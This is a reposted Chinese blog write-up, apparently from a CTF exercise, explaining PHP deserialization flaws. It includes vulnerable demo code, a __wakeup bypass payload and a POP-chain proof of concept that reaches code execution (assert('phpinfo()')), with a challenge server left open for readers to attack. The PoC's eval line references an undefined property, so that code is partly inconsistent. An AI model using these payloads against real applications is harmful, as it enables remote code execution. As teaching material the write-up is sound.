分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > IT知识

php反序列化简叙

发布时间:2023-09-06 02:32责任编辑:沈小雨关键词:暂无标签

0x01 php简单的反序列化

  这题是在网上看到的,原题连接不太了解,但是源码题目给了出来,稍微下文件名和排版在本地测试

<?phpclass SoFun{ ????protected $file=‘ser.php‘; ???function __destruct(){ ????????if(!empty($this->file)) { ??????????????if(strchr($this-> file,"\\")===false && ?strchr($this->file, ‘/‘)===false){ ???????????????show_source(dirname (__FILE__).‘/‘.$this ->file); ???????????} ??????????} ???????else{ ?????????????????die(‘Wrong filename.‘); ??????????} ???} ???function __wakeup(){ ????????$this-> file=‘ser.php‘; ????} ????function __toString(){ ???????return ‘‘ ; ???}}if(!isset($_GET[‘file‘])){ ????show_source(‘ser.php‘); } else{ ????$file=base64_decode( $_GET[‘file‘]); ????echo unserialize($file ); } ?>

题目的相关魔术方法调用时机

__destruct()类似于c中的析构函数,在对象被销毁时调用

__toString()在这里没啥用

__wakeup()在进行反序列化的时候调用

__destruct()中读取了文件,最终用它读取flag, __wakeup()把读取的文件的对应变量变成当前文件

__wakeup()在__destruct()前面调用

那么目的是绕过__wakeup()进行__destruct()操作

对应wakeup(),存在以下问题,当序列化的字符串中描述的类的成员个数和 {} 内的成员个数不同的时候不会被调用

首先构造payload

<?phpclass SoFun{ ????protected $file=‘hello.txt‘; ?public $a = "a";}$add = new SoFun;echo base64_encode(serialize($add));

运行生成base64

先将它base64解码,然后删除{}中a的对应序列(注意:因为protect和private存在不可见字符,所有用base64,或url编码输出)

最终再base64编个码,包含进来即可,我hello.txt文件的内容即之前做题留在上面的文件(所有内容不重要,重要的是漏洞利用>_<)

0x02 PHP反序列化的进一步利用

 php反序列化的知识点i春秋上的一篇文件写的非常详细

https://bbs.ichunqiu.com/thread-39169-1-1.html

那么结合最后的typecho的反序列漏洞,模仿着写了一个简易的代码

<?phpclass C1{ ???function __construct($key, $word){ ???????$sijidou = $key . $word; ???}}class C2{ ???private $a2; ???function __toString(){ ???????echo $this->a2->ying; ???????????return "hello"; ???}}class C3{ ???private $fun; ???private $parm; ???function __get($key){ ???????$this->run(); ???????return null; ???} ???function run(){ ???????call_user_func($this->fun, $this->parm); ???}}if(isset($_GET[‘ser‘])){ ???$s = $_GET[‘ser‘]; ???$arr = unserialize($s); ???$class1 = new C1($arr[‘siji‘],$arr[‘dou‘]);}else{ ???highlight_file("demo.php");} ??>

这里是需要构造pop链,来达到最终执行run()方法中的call_user_func()来达到代码执行

构造思路是入口为ser的参数,该参数是数组

ser数组的 "siji" 和 "dou" 两个键值対会被C1的中的__construct调用

该函数把参数当做字符串进行字符串使用,于是可能会调用到C2的__toString魔术方法

__toString方法里面调用了私有成员的方法,因此又可以利用C3的__get魔术方法

而 __get魔术方法会调用到run(),从而达到代码执行

附上我写的poc

<?php ???class C1{ ???????function __construct($key, $word){ ???????????$sijidou = $key . $word; ???????} ???} ???class C2{ ???????private $a2; ???????function __toString(){ ???????????$this->a2->ying; ???????????????return "hello"; ???????} ???????function add(){ ???????????$this->a2 = new C3(); ???????} ???} ???class C3{ ???????private $fun = "assert"; ???????private $parm = "phpinfo()"; ???????function __get($key){ ???????????$this->run(); ???????} ???????function run(){ ???????????eval($this->a3); ???????} ???} ???$class2 = new C2(); ???$class3 = new C3(); ???$class2->add(); ???$exp = array(‘siji‘ => $class2, ‘dou‘ => ‘dou‘); ???echo urlencode(serialize($exp));?>

 利用成功,成功执行phpinfo

这里自己因为一些原因把该题目挂到了自己的服务器上,大家可以试着找找其中的flag(注:请执行看看phpinfo里面的禁用的函数)

http://134.175.147.161:10007/

php反序列化简叙

原文地址:https://www.cnblogs.com/sijidou/p/10340795.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved